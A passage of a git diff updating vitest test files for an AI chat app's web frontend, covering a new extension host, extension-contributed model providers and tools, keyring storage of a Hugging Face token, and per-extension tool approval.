calls updateSettings and patches settingsDefs`, async () => {- mockGetRag.mockReturnValue({- getSettings: mockGetSettings,- updateSettings: mockUpdateSettings,- })-- const { useAttachments } = await import('../useAttachments')-- act(() => {- useAttachments.setState({- settingsDefs: [- { key, controllerProps: { value: 'before' } } as any,- ],- })- })-- await act(async () => {- await (useAttachments.getState() as any)[name](value)- })-- expect(mockUpdateSettings).toHaveBeenCalledWith([- { key, controllerProps: { value } },- ])- expect((useAttachments.getState() as any)[stateKey]).toEqual(value)- const def = useAttachments- .getState()- .settingsDefs.find((d) => d.key === key)- expect((def as any)?.controllerProps?.value).toEqual(value)+ for (const [name, key, field, value] of cases) {+ it(`${name} persists ${key} and updates the store`, async () => {+ await activateRag()+ stop = initAttachments()+ await vi.waitFor(() =>+ expect(useAttachments.getState().settingsDefs.length).toBeGreaterThan(0)+ )+ const setter = useAttachments.getState()[name] as (v: typeof value) => Promise<void>+ await setter(value)+ expect(stored()[key]).toBe(value)+ expect(useAttachments.getState()[field]).toBe(value)+ const def = useAttachments.getState().settingsDefs.find((d) => d.key === key)+ expect(def?.controllerProps.value).toBe(value)})+ }++ it('keeps the stored value when the store refuses one outside the declared range', async () => {+ const spy = vi.spyOn(console, 'error').mockImplementation(() => {})+ await activateRag()+ await useAttachments.getState().setRetrievalLimit(500)+ expect(stored().retrieval_limit).toBeUndefined()+ expect(useAttachments.getState().retrievalLimit).toBe(3)+ expect(spy).toHaveBeenCalled()+ spy.mockRestore()})})describe('initAttachments', () => {- it('returns early on first successful load', async () => {- mockGetRag.mockReturnValue({- getSettings: vi.fn().mockResolvedValue([]),- })-- const { initAttachments } = await import('../useAttachments')- await initAttachments()-- // If it didn't return early, the 5-attempt loop with 300ms waits would- // take >1s. The test finishing fast is the assertion.- expect(mockGetRag).toHaveBeenCalled()- })-- it('retries until success', async () => {- vi.useFakeTimers()- const getSettings = vi- .fn()- .mockResolvedValueOnce('bad')- .mockResolvedValueOnce([])- mockGetRag.mockReturnValue({ getSettings })-- const { initAttachments } = await import('../useAttachments')- const done = initAttachments()- await vi.advanceTimersByTimeAsync(400)- await done-- expect(getSettings).toHaveBeenCalledTimes(2)- vi.useRealTimers()+ it('loads once the rag built-in activates', async () => {+ stop = initAttachments()+ expect(useAttachments.getState().settingsDefs).toEqual([])+ await activateRag()+ await vi.waitFor(() =>+ expect(useAttachments.getState().settingsDefs.length).toBe(settings.length)+ )+ })++ it('follows changes made elsewhere, such as Settings > Extensions', async () => {+ await activateRag()+ stop = initAttachments()+ await host.settings.setSettingValue(RAG_EXTENSION_ID, 'parse_mode', 'inline')+ expect(useAttachments.getState().parseMode).toBe('inline')+ })++ it('ignores other extensions and stops following when disposed', async () => {+ await activateRag()+ stop = initAttachments()+ stop()+ stop = undefined+ await host.settings.setSettingValue(RAG_EXTENSION_ID, 'parse_mode', 'inline')+ expect(useAttachments.getState().parseMode).toBe('auto')})})})diff --git a/web-app/src/hooks/__tests__/useExtensionProviders.test.ts b/web-app/src/hooks/__tests__/useExtensionProviders.test.tsnew file mode 100644index 000000000..64f2dfeac--- /dev/null+++ b/web-app/src/hooks/__tests__/useExtensionProviders.test.ts@@ -0,0 +1,210 @@+import { act, renderHook, waitFor } from '@testing-library/react'+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { ContributionStore, useContributions } from '@/lib/extensions/contributions'+import { ExtensionHost } from '@/lib/extensions/host'+import { builtin, manifest } from '@/lib/extensions/__tests__/fixtures'+import {+ memoryAppSettings,+ memorySecrets,+} from '@/lib/extensions/__tests__/memory'++const h = vi.hoisted(() => ({ host: undefined as unknown }))+vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => h.host,+}))++import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { useModelProvider } from '@/hooks/useModelProvider'+import { useExtensionProviders } from '../useExtensionProviders'++const providerManifest = manifest('acme.llm', {+ permissions: ['providers', 'network:127.0.0.1'],+ contributes: {+ settings: [+ {+ key: 'apiKey',+ title: 'API key',+ secret: true,+ control: { type: 'input', default: '' },+ },+ ],+ providers: [+ {+ id: 'local',+ displayName: 'Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ apiKeySetting: 'apiKey',+ },+ ],+ },+})++describe('useExtensionProviders', () => {+ let host: ExtensionHost++ beforeEach(() => {+ host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify: vi.fn(),+ contributions: new ContributionStore(useContributions),+ })+ h.host = host+ useModelProvider.setState({+ providers: [+ { provider: 'openai', active: true, settings: [], models: [] },+ ],+ })+ })++ afterEach(async () => {+ await host.deactivateAll()+ })++ it('adds a bound provider as OpenAI-compatible, marked with its extension', async () => {+ renderHook(() => useExtensionProviders())+ await host.activateBuiltin(+ builtin(providerManifest, {+ activate: (ctx) => {+ ctx.subscriptions.add(+ ctx.providers.registerProvider('local', {+ listModels: async () => [{ id: 'hello-1' }],+ })+ )+ },+ })+ )+ await act(async () => {+ await host.settings.setSettingValue('acme.llm', 'apiKey', 'sk-1')+ })++ await waitFor(() =>+ expect(+ useModelProvider.getState().getProviderByName('acme.llm/local')+ ).toMatchObject({+ base_url: 'http://127.0.0.1:11999/v1',+ api_key: 'sk-1',+ source: { extensionId: 'acme.llm' },+ models: [expect.objectContaining({ id: 'hello-1' })],+ })+ )+ // OpenAI-compatible is the default wire format.+ expect(+ useModelProvider.getState().getProviderByName('acme.llm/local')?.api_type+ ).toBeUndefined()+ expect(useModelProvider.getState().getProviderByName('openai')).toBeDefined()++ // Never written to disk.+ const persisted = useModelProvider.persist+ .getOptions()+ .partialize?.(useModelProvider.getState()) as { providers: ModelProvider[] }+ expect(persisted.providers.map((p) => p.provider)).toEqual(['openai'])+ })++ it('offers tools on the models of a provider that declares them', async () => {+ renderHook(() => useExtensionProviders())+ const contributes = providerManifest.contributes!+ await host.activateBuiltin(+ builtin(+ {+ ...providerManifest,+ contributes: {+ ...contributes,+ providers: [+ { ...contributes.providers![0], capabilities: ['completion', 'tools'] },+ ],+ },+ },+ {+ activate: (ctx) => {+ ctx.subscriptions.add(+ ctx.providers.registerProvider('local', {+ listModels: async () => [{ id: 'hello-1' }],+ })+ )+ },+ }+ )+ )+ await waitFor(() =>+ expect(+ useModelProvider.getState().getProviderByName('acme.llm/local')?.models+ ).toEqual([+ expect.objectContaining({+ id: 'hello-1',+ capabilities: ['completion', 'tools'],+ }),+ ])+ )+ })++ it('removes the provider when its extension stops', async () => {+ renderHook(() => useExtensionProviders())+ await host.activateBuiltin(+ builtin(providerManifest, {+ activate: (ctx) => {+ ctx.subscriptions.add(ctx.providers.registerProvider('local', {}))+ },+ })+ )+ await waitFor(() =>+ expect(+ useModelProvider.getState().getProviderByName('acme.llm/local')+ ).toBeDefined()+ )+ await act(async () => {+ await host.deactivateAll()+ })+ await waitFor(() =>+ expect(+ useModelProvider.getState().getProviderByName('acme.llm/local')+ ).toBeUndefined()+ )+ })++ it('renames the provider when the app language changes', async () => {+ renderHook(() => useExtensionProviders())+ const localized = manifest('acme.llm', {+ ...providerManifest,+ displayName: '%name%',+ contributes: {+ ...providerManifest.contributes,+ providers: [+ {+ id: 'local',+ displayName: '%local%',+ baseUrl: 'http://127.0.0.1:11999/v1',+ },+ ],+ },+ l10n: {+ en: { name: 'Acme', local: 'Acme Local' },+ ja: { name: 'Akume', local: 'Akume Rokaru' },+ },+ })+ await host.activateBuiltin(+ builtin(localized, {+ activate: (ctx) => {+ ctx.subscriptions.add(ctx.providers.registerProvider('local', {}))+ },+ })+ )+ const current = () =>+ useModelProvider.getState().getProviderByName('acme.llm/local')+ await waitFor(() =>+ expect(current()).toMatchObject({+ display_name: 'Acme Local',+ source: { extensionName: 'Acme' },+ })+ )+ act(() => useGeneralSetting.getState().setCurrentLanguage('ja'))+ await waitFor(() =>+ expect(current()).toMatchObject({+ display_name: 'Akume Rokaru',+ source: { extensionName: 'Akume' },+ })+ )+ act(() => useGeneralSetting.getState().setCurrentLanguage('en'))+ })+})diff --git a/web-app/src/hooks/__tests__/useGeneralSetting.coverage.test.ts b/web-app/src/hooks/__tests__/useGeneralSetting.coverage.test.tsindex 7366fdc1d..352e2e37c 100644--- a/web-app/src/hooks/__tests__/useGeneralSetting.coverage.test.ts+++ b/web-app/src/hooks/__tests__/useGeneralSetting.coverage.test.ts@@ -19,13 +19,6 @@ vi.mock('zustand/middleware', () => ({}),}))-// Mock ExtensionManager-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },-}))-vi.mock('@/hooks/useServiceHub', () => ({getServiceHub: () => ({core: () => ({ invoke: vi.fn().mockResolvedValue(undefined) }),@@ -33,27 +26,15 @@ vi.mock('@/hooks/useServiceHub', () => ({}))describe('useGeneralSetting - coverage improvements', () => {- let mockExtensionManager: any-- beforeEach(async () => {+ beforeEach(() => {vi.clearAllMocks()- const { ExtensionManager } = await import('@/lib/extension')- mockExtensionManager = ExtensionManager-useGeneralSetting.setState({currentLanguage: 'en',spellCheckChatInput: true,tokenCounterCompact: true,huggingfaceToken: undefined,})-- mockExtensionManager.getInstance.mockReturnValue({- getByName: vi.fn().mockReturnValue({- getSettings: vi.fn().mockResolvedValue(null),- updateSettings: vi.fn(),- }),- })})describe('setTokenCounterCompact', () => {@@ -78,94 +59,6 @@ describe('useGeneralSetting - coverage improvements', () => {})})- describe('setHuggingfaceToken edge cases', () => {- it('should handle when getByName returns null', async () => {- mockExtensionManager.getInstance.mockReturnValue({- getByName: vi.fn().mockReturnValue(null),- })-- const { result } = renderHook(() => useGeneralSetting())-- act(() => {- result.current.setHuggingfaceToken('token-123')- })-- // Token is still set in state even if extension is null- expect(result.current.huggingfaceToken).toBe('token-123')- })-- it('should handle when getSettings returns empty array', async () => {- const mockUpdateSettings = vi.fn()- mockExtensionManager.getInstance.mockReturnValue({- getByName: vi.fn().mockReturnValue({- getSettings: vi.fn().mockResolvedValue([]),- updateSettings: mockUpdateSettings,- }),- })-- const { result } = renderHook(() => useGeneralSetting())-- act(() => {- result.current.setHuggingfaceToken('token-abc')- })-- expect(result.current.huggingfaceToken).toBe('token-abc')-- await new Promise((resolve) => setTimeout(resolve, 0))-- // updateSettings called with empty array (no hf-token setting to update)- expect(mockUpdateSettings).toHaveBeenCalledWith([])- })-- it('should handle when getSettings rejects', async () => {- mockExtensionManager.getInstance.mockReturnValue({- getByName: vi.fn().mockReturnValue({- getSettings: vi.fn().mockRejectedValue(new Error('fail')),- updateSettings: vi.fn(),- }),- })-- const { result } = renderHook(() => useGeneralSetting())-- // Should not throw- act(() => {- result.current.setHuggingfaceToken('token')- })-- expect(result.current.huggingfaceToken).toBe('token')- })-- it('should update only hf-token in settings and leave others unchanged', async () => {- const mockSettings = [- { key: 'hf-token', controllerProps: { value: '' } },- { key: 'download-dir', controllerProps: { value: '/tmp' } },- { key: 'max-concurrent', controllerProps: { value: 3 } },- ]-- const mockUpdateSettings = vi.fn()- mockExtensionManager.getInstance.mockReturnValue({- getByName: vi.fn().mockReturnValue({- getSettings: vi.fn().mockResolvedValue(mockSettings),- updateSettings: mockUpdateSettings,- }),- })-- const { result } = renderHook(() => useGeneralSetting())-- act(() => {- result.current.setHuggingfaceToken('my-new-token')- })-- await new Promise((resolve) => setTimeout(resolve, 0))-- expect(mockUpdateSettings).toHaveBeenCalledWith([- { key: 'hf-token', controllerProps: { value: 'my-new-token' } },- { key: 'download-dir', controllerProps: { value: '/tmp' } },- { key: 'max-concurrent', controllerProps: { value: 3 } },- ])- })- })-describe('initial defaults', () => {it('should have tokenCounterCompact default to true', () => {useGeneralSetting.setState({ tokenCounterCompact: true })diff --git a/web-app/src/hooks/__tests__/useGeneralSetting.test.ts b/web-app/src/hooks/__tests__/useGeneralSetting.test.tsindex 19b7d033d..4e11d2278 100644--- a/web-app/src/hooks/__tests__/useGeneralSetting.test.ts+++ b/web-app/src/hooks/__tests__/useGeneralSetting.test.ts@@ -19,13 +19,6 @@ vi.mock('zustand/middleware', () => ({}),}))-// Mock ExtensionManager-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },-}))-// Mock ServiceHub (setHuggingfaceToken persists to the keyring via set_secret)const mockInvoke = vi.fn().mockResolvedValue(undefined)vi.mock('@/hooks/useServiceHub', () => ({@@ -33,15 +26,9 @@ vi.mock('@/hooks/useServiceHub', () => ({}))describe('useGeneralSetting', () => {- let mockExtensionManager: any-- beforeEach(async () => {+ beforeEach(() => {vi.clearAllMocks()- // Get the mocked ExtensionManager- const { ExtensionManager } = await import('@/lib/extension')- mockExtensionManager = ExtensionManager-// Reset store state to defaultsuseGeneralSetting.setState({currentLanguage: 'en',@@ -49,16 +36,6 @@ describe('useGeneralSetting', () => {tokenCounterCompact: true,huggingfaceToken: undefined,})-- // Setup default mock behavior to prevent errors- const mockGetByName = vi.fn().mockReturnValue({- getSettings: vi.fn().mockResolvedValue(null),- updateSettings: vi.fn(),- })-- mockExtensionManager.getInstance.mockReturnValue({- getByName: mockGetByName,- })})it('should initialize with default values', () => {@@ -198,41 +175,18 @@ describe('useGeneralSetting', () => {expect(result.current.huggingfaceToken).toBe('')})- it('should call ExtensionManager when setting token', async () => {- const mockSettings = [- { key: 'hf-token', controllerProps: { value: 'old-value' } },- { key: 'other-setting', controllerProps: { value: 'other-value' } },- ]-- const mockGetByName = vi.fn()- const mockGetSettings = vi.fn().mockResolvedValue(mockSettings)- const mockUpdateSettings = vi.fn()-- mockExtensionManager.getInstance.mockReturnValue({- getByName: mockGetByName,- })- mockGetByName.mockReturnValue({- getSettings: mockGetSettings,- updateSettings: mockUpdateSettings,- })-+ it('writes the token only to the keyring', () => {const { result } = renderHook(() => useGeneralSetting())act(() => {result.current.setHuggingfaceToken('new-token')})- expect(mockExtensionManager.getInstance).toHaveBeenCalled()- expect(mockGetByName).toHaveBeenCalledWith('@janhq/download-extension')-- // Wait for async operations- await new Promise((resolve) => setTimeout(resolve, 0))-- expect(mockGetSettings).toHaveBeenCalled()- expect(mockUpdateSettings).toHaveBeenCalledWith([- { key: 'hf-token', controllerProps: { value: 'new-token' } },- { key: 'other-setting', controllerProps: { value: 'other-value' } },- ])+ expect(mockInvoke).toHaveBeenCalledTimes(1)+ expect(mockInvoke).toHaveBeenCalledWith('set_secret', {+ key: 'huggingface',+ value: 'new-token',+ })})})diff --git a/web-app/src/hooks/__tests__/useImageAttachmentConfig.test.ts b/web-app/src/hooks/__tests__/useImageAttachmentConfig.test.tsindex 1b9ff7c42..3882e7eee 100644--- a/web-app/src/hooks/__tests__/useImageAttachmentConfig.test.ts+++ b/web-app/src/hooks/__tests__/useImageAttachmentConfig.test.ts@@ -13,11 +13,8 @@ vi.mock('@/lib/backendStorage', () => ({},},}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => undefined }) },-}))-vi.mock('@janhq/core', () => ({- ExtensionTypeEnum: { RAG: 'rag' },+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ list: () => [] }),}))import {diff --git a/web-app/src/hooks/__tests__/useLlamacppDevices.test.ts b/web-app/src/hooks/__tests__/useLlamacppDevices.test.tsindex 6be0622e3..21de362d6 100644--- a/web-app/src/hooks/__tests__/useLlamacppDevices.test.ts+++ b/web-app/src/hooks/__tests__/useLlamacppDevices.test.ts@@ -33,16 +33,6 @@ vi.mock('../useModelProvider', () => ({},}))-// Mock the window.core object-Object.defineProperty(window, 'core', {- value: {- extensionManager: {- getByName: vi.fn(),- },- },- writable: true,-})-describe('useLlamacppDevices', () => {beforeEach(() => {diff --git a/web-app/src/hooks/__tests__/useReconcileVideoCapability.test.ts b/web-app/src/hooks/__tests__/useReconcileVideoCapability.test.tsnew file mode 100644index 000000000..a67abc3f5--- /dev/null+++ b/web-app/src/hooks/__tests__/useReconcileVideoCapability.test.ts@@ -0,0 +1,75 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'+import { renderHook, waitFor } from '@testing-library/react'+import { ServiceKeys, createServiceRegistry, type ServiceRegistry } from '@janhq/core'++const h = vi.hoisted(() => ({+ services: undefined as unknown as ServiceRegistry,+ updateProvider: vi.fn(),+ provider: undefined as unknown,+}))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: h.services }),+}))+vi.mock('../useModelProvider', () => ({+ useModelProvider: {+ getState: () => ({+ getProviderByName: () => h.provider,+ updateProvider: h.updateProvider,+ }),+ },+}))++import { useReconcileVideoCapability } from '../useReconcileVideoCapability'++const provide = (video: boolean) => {+ const getModelProps = vi.fn().mockResolvedValue({+ nCtx: 1,+ modalities: { vision: true, video, audio: false },+ })+ h.services.provide(ServiceKeys.Llamacpp, {+ getModelProps,+ unload: vi.fn(),+ getDevices: vi.fn(),+ reconcileEngineDevices: vi.fn(),+ })+ return getModelProps+}++describe('useReconcileVideoCapability', () => {+ beforeEach(() => {+ vi.clearAllMocks()+ h.services = createServiceRegistry()+ h.provider = {+ provider: 'llamacpp',+ models: [{ id: 'm', capabilities: ['vision'] }],+ }+ })++ it('adds video when the llamacpp service reports it for the loaded model', async () => {+ const getModelProps = provide(true)+ renderHook(() => useReconcileVideoCapability('m', 'llamacpp'))+ await waitFor(() => expect(h.updateProvider).toHaveBeenCalled())+ expect(getModelProps).toHaveBeenCalledWith('m')+ expect(h.updateProvider.mock.calls[0][1].models[0].capabilities).toEqual([+ 'vision',+ 'video',+ ])+ })++ it('leaves a correct model alone', async () => {+ const getModelProps = provide(false)+ renderHook(() => useReconcileVideoCapability('m', 'llamacpp'))+ await waitFor(() => expect(getModelProps).toHaveBeenCalled())+ expect(h.updateProvider).not.toHaveBeenCalled()+ })++ it('does nothing for other providers or without the service', () => {+ const getModelProps = provide(true)+ renderHook(() => useReconcileVideoCapability('m', 'mlx'))+ expect(getModelProps).not.toHaveBeenCalled()+ h.services = createServiceRegistry()+ expect(() =>+ renderHook(() => useReconcileVideoCapability('m', 'llamacpp'))+ ).not.toThrow()+ })+})diff --git a/web-app/src/hooks/__tests__/useThreads.coverage.test.ts b/web-app/src/hooks/__tests__/useThreads.coverage.test.tsindex f44c482f0..f8ffbff5e 100644--- a/web-app/src/hooks/__tests__/useThreads.coverage.test.ts+++ b/web-app/src/hooks/__tests__/useThreads.coverage.test.ts@@ -49,16 +49,12 @@ vi.mock('@/hooks/useAgentMode', () => ({}))vi.mock('@janhq/core', () => ({- ExtensionTypeEnum: { VectorDB: 'VectorDB' },- VectorDBExtension: class {},+ ServiceKeys: { VectorDB: { id: 'vector-db' } },}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: () => null,- }),- },+const vectorDB = vi.hoisted(() => ({ deleteCollection: vi.fn() }))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: { get: () => vectorDB } }),}))vi.mock('@/constants/chat', () => ({@@ -311,6 +307,17 @@ describe('useThreads - coverage', () => {expect(result.current.threads['t3']).toBeDefined()})+ it('drops the vector DB collection of each thread deleted in bulk', () => {+ const { result } = renderHook(() => useThreads())+ act(() => {+ result.current.setThreads([{ id: 't2', title: 'Normal' } as Thread])+ })+ act(() => {+ result.current.deleteAllThreads()+ })+ expect(vectorDB.deleteCollection).toHaveBeenCalledWith('attachments_t2')+ })+// Removing the chat session is what ends a turn still running in the// background (#9311), so deleting a thread in bulk must remove it too.it('removes the chat session of each thread deleted in bulk', () => {diff --git a/web-app/src/hooks/__tests__/useTokensCount.test.ts b/web-app/src/hooks/__tests__/useTokensCount.test.tsindex 7b280d60d..c705e7252 100644--- a/web-app/src/hooks/__tests__/useTokensCount.test.ts+++ b/web-app/src/hooks/__tests__/useTokensCount.test.ts@@ -6,13 +6,11 @@ import { useAppState } from '../useAppState'const mockGetModelProps = vi.fn()-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- getByName: () => ({ getModelProps: mockGetModelProps }),- listExtensions: () => [],- }),- },+// Both local engines answer through their host service.+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({+ services: { get: () => ({ getModelProps: mockGetModelProps }) },+ }),}))const modelProviderState = {diff --git a/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts b/web-app/src/hooks/__tests__/useToolApprovalRequests.test.tsindex d2f23cff5..3974758b0 100644--- a/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts+++ b/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts@@ -219,4 +219,58 @@ describe('useToolApprovalRequests', () => {expect(result.current.pending['tcA']).toMatchObject({ threadId: 'thread-A' })})++ it('does not auto-approve extension tools when allowAllMCPPermissions is set', () => {+ useToolApproval.setState({ allowAllMCPPermissions: true })+ const { result } = renderHook(() => useToolApprovalRequests())+ act(() => {+ result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')+ })+ expect(result.current.pending['tc1']).toBeDefined()+ })++ it('keeps an allow-thread approval with the extension that got it', async () => {+ const { result } = renderHook(() => useToolApprovalRequests())+ let p: Promise<boolean>+ act(() => {+ p = result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')+ })+ act(() => result.current.resolveApproval('tc1', 'allow-thread'))+ await expect(p!).resolves.toBe(true)+ // The same tool name from another extension, or from an MCP server, asks.+ act(() => {+ result.current.requestApproval('tc2', 'x_tool', 'thread-1', 'ext:acme.two')+ result.current.requestApproval('tc3', 'x_tool', 'thread-1', 'mcp-server')+ result.current.requestApproval('tc4', 'x_tool', 'thread-1')+ })+ expect(Object.keys(result.current.pending).sort()).toEqual(['tc2', 'tc3', 'tc4'])+ // The extension that was approved is not asked again.+ let again: Promise<boolean>+ act(() => {+ again = result.current.requestApproval('tc5', 'x_tool', 'thread-1', 'ext:acme.one')+ })+ await expect(again!).resolves.toBe(true)+ })++ it('keeps an allow-always approval to the one extension tool that got it', async () => {+ const { result } = renderHook(() => useToolApprovalRequests())+ let p: Promise<boolean>+ act(() => {+ p = result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')+ })+ act(() => result.current.resolveApproval('tc1', 'allow-always'))+ await expect(p!).resolves.toBe(true)+ expect(useToolApproval.getState().approvedServers).toEqual([])+ // Another tool of the same extension (one an update added, say) asks.+ act(() => {+ result.current.requestApproval('tc2', 'y_tool', 'thread-1', 'ext:acme.one')+ })+ expect(Object.keys(result.current.pending)).toEqual(['tc2'])+ // The approved tool runs without asking, in any thread.+ let again: Promise<boolean>+ act(() => {+ again = result.current.requestApproval('tc3', 'x_tool', 'thread-2', 'ext:acme.one')+ })+ await expect(again!).resolves.toBe(true)+ })})diff --git a/web-app/src/hooks/__tests__/useToolAvailable.coverage.test.ts b/web-app/src/hooks/__tests__/useToolAvailable.coverage.test.tsindex 67cfe00bf..a157c7548 100644--- a/web-app/src/hooks/__tests__/useToolAvailable.coverage.test.ts+++ b/web-app/src/hooks/__tests__/useToolAvailable.coverage.test.ts@@ -1,5 +1,4 @@import { describe, it, expect, beforeEach, vi } from 'vitest'-import { renderHook, act } from '@testing-library/react'vi.mock('@/constants/localStorage', () => ({localStorageKey: {@@ -17,14 +16,7 @@ const getMigrate = (): Migrate | undefined =>describe('useToolAvailable - coverage', () => {beforeEach(() => {vi.clearAllMocks()- useToolAvailable.setState({ disabledTools: [], defaultsInitialized: false })- })-- it('isDefaultsInitialized starts false; mark flips it', () => {- const { result } = renderHook(() => useToolAvailable())- expect(result.current.isDefaultsInitialized()).toBe(false)- act(() => result.current.markDefaultsAsInitialized())- expect(result.current.isDefaultsInitialized()).toBe(true)+ useToolAvailable.setState({ disabledTools: [] })})describe('v1 -> v2 migration (per-thread -> global)', () => {@@ -38,18 +30,16 @@ describe('useToolAvailable - coverage', () => {},1)- expect(migrated.disabledTools).toEqual(['exa::web_fetch_exa'])- expect(migrated.defaultsInitialized).toBe(true)+ expect(migrated).toEqual({ disabledTools: ['exa::web_fetch_exa'] })})- it('re-seeds (defaultsInitialized=false) when old pre-:: keys are dropped', () => {+ it('drops old pre-:: keys', () => {const migrate = getMigrate()!const migrated = migrate({ defaultDisabledTools: ['legacyTool'], defaultsInitialized: true },1)expect(migrated.disabledTools).toEqual([])- expect(migrated.defaultsInitialized).toBe(false)})it('null/empty persisted state migrates to an empty global set', () => {@@ -59,7 +49,7 @@ describe('useToolAvailable - coverage', () => {it('a v2 state passes through unchanged', () => {const migrate = getMigrate()!- const state = { disabledTools: ['a::b'], defaultsInitialized: true }+ const state = { disabledTools: ['a::b'] }expect(migrate(state, 2)).toEqual(state)})})diff --git a/web-app/src/hooks/__tests__/useToolAvailable.test.ts b/web-app/src/hooks/__tests__/useToolAvailable.test.tsindex bad76dba7..4934eac9a 100644--- a/web-app/src/hooks/__tests__/useToolAvailable.test.ts+++ b/web-app/src/hooks/__tests__/useToolAvailable.test.ts@@ -26,7 +26,7 @@ const KEY = createToolKey(SERVER, TOOL)describe('useToolAvailable (global tool availability)', () => {beforeEach(() => {vi.clearAllMocks()- useToolAvailable.setState({ disabledTools: [], defaultsInitialized: false })+ useToolAvailable.setState({ disabledTools: [] })})it('initializes with an empty global disabled set', () => {@@ -35,7 +35,6 @@ describe('useToolAvailable (global tool availability)', () => {expect(typeof result.current.setToolDisabled).toBe('function')expect(typeof result.current.isToolDisabled).toBe('function')expect(typeof result.current.getDisabledTools).toBe('function')- expect(typeof result.current.setDisabledTools).toBe('function')})it('createToolKey builds a server::tool composite key', () => {@@ -94,30 +93,11 @@ describe('useToolAvailable (global tool availability)', () => {it('getDisabledTools returns the global array', () => {const { result } = renderHook(() => useToolAvailable())- act(() => result.current.setDisabledTools([KEY]))+ act(() => result.current.setToolDisabled(SERVER, TOOL, false))expect(result.current.getDisabledTools()).toEqual([KEY])})})- describe('setDisabledTools (defaults seed)', () => {- it('replaces the whole set', () => {- const { result } = renderHook(() => useToolAvailable())- act(() => result.current.setDisabledTools(['a::1', 'b::2']))- expect(result.current.disabledTools).toEqual(['a::1', 'b::2'])- act(() => result.current.setDisabledTools([]))- expect(result.current.disabledTools).toEqual([])- })- })-- describe('defaults-initialized flag', () => {- it('starts false and flips once marked', () => {- const { result } = renderHook(() => useToolAvailable())- expect(result.current.isDefaultsInitialized()).toBe(false)- act(() => result.current.markDefaultsAsInitialized())- expect(result.current.isDefaultsInitialized()).toBe(true)- })- })-it('shares one global set across hook instances (no per-thread split)', () => {const a = renderHook(() => useToolAvailable())const b = renderHook(() => useToolAvailable())diff --git a/web-app/src/hooks/__tests__/useTools.test.ts b/web-app/src/hooks/__tests__/useTools.test.tsindex 8864ecbe8..172e2d3ea 100644--- a/web-app/src/hooks/__tests__/useTools.test.ts+++ b/web-app/src/hooks/__tests__/useTools.test.ts@@ -8,6 +8,7 @@ const mockUpdateTools = vi.fn()const mockListen = vi.fn()const mockUnsubscribe = vi.fn()const mockInvalidateCache = vi.fn()+const mockUpdateExtensionTools = vi.fn()vi.mock('@/lib/mcp-orchestrator/mcp-orchestrator', () => ({mcpOrchestrator: { invalidateCache: mockInvalidateCache },@@ -15,7 +16,11 @@ vi.mock('@/lib/mcp-orchestrator/mcp-orchestrator', () => ({// Mock useAppStatevi.mock('../useAppState', () => ({- useAppState: (selector: any) => selector({ updateTools: mockUpdateTools }),+ useAppState: (selector: any) =>+ selector({+ updateTools: mockUpdateTools,+ updateExtensionTools: mockUpdateExtensionTools,+ }),}))// Mock the ServiceHub@@ -212,4 +217,43 @@ describe('useTools', () => {expect(mockGetTools).toHaveBeenCalledTimes(1)expect(mockListen).toHaveBeenCalledTimes(1)})+ it('publishes bound contributed tools under their wire names, once per change', async () => {+ const { useTools } = await import('../useTools')+ const { useContributions } = await import('@/lib/extensions/contributions')+ const { toolWireName } = await import('@/lib/extensions/tools')+ const declared = {+ name: 'echo',+ description: 'Echo',+ inputSchema: { type: 'object' as const },+ }+ useContributions.setState({ tools: { 'acme.one': { echo: declared } } })++ renderHook(() => useTools())+ expect(mockUpdateExtensionTools).toHaveBeenLastCalledWith([])++ act(() => {+ useContributions.setState({+ tools: {+ 'acme.one': {+ echo: { ...declared, handler: async () => ({ content: [] }) },+ },+ },+ })+ })+ expect(mockUpdateExtensionTools).toHaveBeenLastCalledWith([+ expect.objectContaining({+ wireName: toolWireName('acme.one', 'echo'),+ extensionId: 'acme.one',+ name: 'echo',+ server: 'ext:acme.one',+ }),+ ])+ const calls = mockUpdateExtensionTools.mock.calls.length+ // An unrelated contribution change does not republish the tools.+ act(() => {+ useContributions.setState({ statusItems: { 'acme.one': {} } })+ })+ expect(mockUpdateExtensionTools).toHaveBeenCalledTimes(calls)+ useContributions.setState({ tools: {}, statusItems: {} })+ })})diff --git a/web-app/src/hooks/use-chat.ts b/web-app/src/hooks/use-chat.tsindex 29895a16d..a641a32e1 100644--- a/web-app/src/hooks/use-chat.ts+++ b/web-app/src/hooks/use-chat.ts@@ -49,6 +49,7 @@ export function useChat(// Get serviceHub and model metadata from app stateconst mcpToolNames = useAppState((state) => state.mcpToolNames)const ragToolNames = useAppState((state) => state.ragToolNames)+ const extensionTools = useAppState((state) => state.extensionTools)const existingSessionTransport = sessionId? useChatSessions.getState().sessions[sessionId]?.transport@@ -110,14 +111,15 @@ export function useChat(}}, [sessionId, chatResult.status, updateStatus])- // Refresh tools when MCP or RAG tool names change (e.g., when MCP servers start/stop)+ // Refresh tools when MCP, RAG or extension tools change (e.g., when MCP+ // servers start/stop or an extension is loaded)useEffect(() => {if (transportRef.current) {// Use forceRefreshTools to update the transport's tool cache// This ensures the transport has the latest tools when MCP server status changestransportRef.current.refreshTools()}- }, [mcpToolNames, ragToolNames])+ }, [mcpToolNames, ragToolNames, extensionTools])const setContinueFromContent = useCallback((content: string | ContinuationContent) => {diff --git 